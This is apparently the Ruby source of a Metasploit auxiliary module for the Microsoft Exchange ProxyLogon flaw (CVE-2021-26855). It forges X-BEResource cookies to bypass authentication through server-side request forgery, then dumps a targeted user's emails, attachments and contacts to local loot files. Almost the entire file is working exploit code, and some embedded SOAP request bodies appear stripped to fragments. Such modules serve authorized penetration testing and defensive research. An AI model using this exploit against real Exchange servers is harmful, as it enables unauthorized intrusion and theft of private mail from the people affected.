## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # begin auxiliary class class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange ProxyLogon Collector', 'Description' => %q{ This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855). By taking advantage of this vulnerability, it is possible to dump all mailboxes (emails, attachments, contacts, ...). This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default. }, 'Author' => [ 'Orange Tsai', # Discovery (Officially acknowledged by MSRC) 'GreyOrder', # PoC (https://github.com/GreyOrder) 'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise) ], 'References' => [ ['CVE', '2021-26855'], ['LOGO', 'https://proxylogon.com/images/logo.jpg'], ['URL', 'https://proxylogon.com/'], ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'], ['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'], ['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py'] ], 'DisclosureDate' => '2021-03-02', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Actions' => [ [ 'Dump (Contacts)', { 'Description' => 'Dump user contacts from exchange server', 'id_attribute' => 'contacts' } ], [ 'Dump (Emails)', { 'Description' => 'Dump user emails from exchange server' } ] ], 'DefaultAction' => 'Dump (Emails)', 'Notes' => { 'AKA' => ['ProxyLogon'], 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]), OptString.new('EMAIL', [true, 'The email account what you want dump']), OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']), OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]), OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted']) ]) register_advanced_options([ OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647]) ]) end XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze def dump_contacts(server_name) ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}" response = send_xml('POST', ssrf, soap_countitems(action['id_attribute'])) if response.body =~ /Success/ print_good("Successfully connected to: #{action['id_attribute']}") xml = Nokogiri::XML.parse(response.body) folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0) print_status("Selected folder: #{action['id_attribute']} (#{folder_id})") total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content print_status("Number of contact found: #{total_count}") if total_count.to_i > datastore['MaxEntries'] print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}") total_count = datastore['MaxEntries'].to_s end response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count)) xml = Nokogiri::XML.parse(response.body) print_status(message("Processing dump of #{total_count} items")) data = xml.xpath('//t:Items/t:Contact', XMLNS) if data.empty? print_status('The user has no contacts') else write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s) end end end def dump_emails(server_name) ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}" response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER'])) if response.body =~ /Success/ print_good("Successfully connected to: #{datastore['FOLDER']}") xml = Nokogiri::XML.parse(response.body) folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0) print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})") total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content print_status("Number of email found: #{total_count}") if total_count.to_i > datastore['MaxEntries'] print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}") total_count = datastore['MaxEntries'].to_s end print_status(message("Processing dump of #{total_count} items")) download_items(total_count, ssrf) end end def download_attachments(item_id, ssrf) response = send_xml('POST', ssrf, soap_listattachments(item_id)) xml = Nokogiri::XML.parse(response.body) xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item| item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0) response = send_xml('POST', ssrf, soap_downattachment(item_id)) data = Nokogiri::XML.parse(response.body) filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content print_status(" -> attachment: #{item_id} (#{filename})") write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype) end end def download_items(total_count, ssrf) response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count)) xml = Nokogiri::XML.parse(response.body) xml.xpath('//t:Items/t:Message', XMLNS).each do |item| item_info = item.at_xpath('./t:ItemId', XMLNS)&.values next if item_info.nil? print_status("Download item: #{item_info[1]}") response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1])) data = Nokogiri::XML.parse(response.body) email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email)) attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content if datastore['ATTACHMENTS'] && attachments == 'true' download_attachments(item_info[0], ssrf) end print_status end end def message(msg) "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}" end def random_ssrf_id # https://en.wikipedia.org/wiki/2,147,483,647 (lol) # max. 2147483647 rand(1941962752..2147483647) end def request_autodiscover(server_name) xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover) case response.body when %r{500} fail_with(Failure::NotFound, 'No Autodiscover information was found') when %r{redirectAddr} fail_with(Failure::NotFound, 'No email address was found') end xml = Nokogiri::XML.parse(response.body) legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank? server = '' owa_urls = [] xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| type = item.at_xpath('./xmlns:Type', xmlns)&.content if type == 'EXCH' server = item.at_xpath('./xmlns:Server', xmlns)&.content end next unless type == 'WEB' item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url| owa_urls << owa_url.content end end fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty? fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty? return([server, legacy_dn, owa_urls]) end def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded') request = { 'method' => method, 'uri' => @random_uri, 'cookie' => "X-BEResource=#{ssrf};", 'ctype' => ctype } request = request.merge({ 'data' => data }) unless data.empty? received = send_request_cgi(request) fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received received end def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8') send_http(method, ssrf, data: data, ctype: ctype) end def soap_autodiscover <<~SOAP #{datastore['EMAIL']} http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a SOAP end def soap_countitems(folder_id) <<~SOAP Default #{datastore['EMAIL']} SOAP end def soap_listattachments(item_id) <<~SOAP IdOnly SOAP end def soap_listitems(folder_id, max_entries) <<~SOAP AllProperties #{datastore['EMAIL']} SOAP end def soap_downattachment(item_id) <<~SOAP SOAP end def soap_downitem(id, change_key) <<~SOAP IdOnly true SOAP end def write_loot(type, data, name = '', ctype = 'text/plain') loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '') print_good("File saved to #{loot_path}") end def run @proto = (ssl ? 'https' : 'http') @random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js") print_status(message('Attempt to exploit for CVE-2021-26855')) # request for internal server name. response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}") if response.code != 500 || !response.headers.to_s.include?('X-FEServer') fail_with(Failure::NotFound, 'No \'X-FEServer\' was found') end server_name = response.headers['X-FEServer'] print_status("Internal server name (#{server_name})") # get information by autodiscover request. print_status(message('Sending autodiscover request')) server_id, legacy_dn, owa_urls = request_autodiscover(server_name) print_status("Server: #{server_id}") print_status("LegacyDN: #{legacy_dn}") print_status("Internal target(s): #{owa_urls.join(', ')}") # selecting target print_status(message('Selecting the first internal server to respond')) if datastore['TARGET'].nil? || datastore['TARGET'].empty? target = '' owa_urls.each do |url| host = url.split('://')[1].split('.')[0].downcase next unless host != server_name.downcase response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}") next unless response.code == 200 target = host print_good("Targeting internal: #{url}") break end fail_with(Failure::NotFound, 'No internal target was found') if target.empty? else target = datastore['TARGET'] print_good("Targeting internal forced to: #{target}") end # run action case action.name when /Dump \(Contacts\)/ print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>")) dump_contacts(target) when /Dump \(Emails\)/ print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>")) dump_emails(target) end end end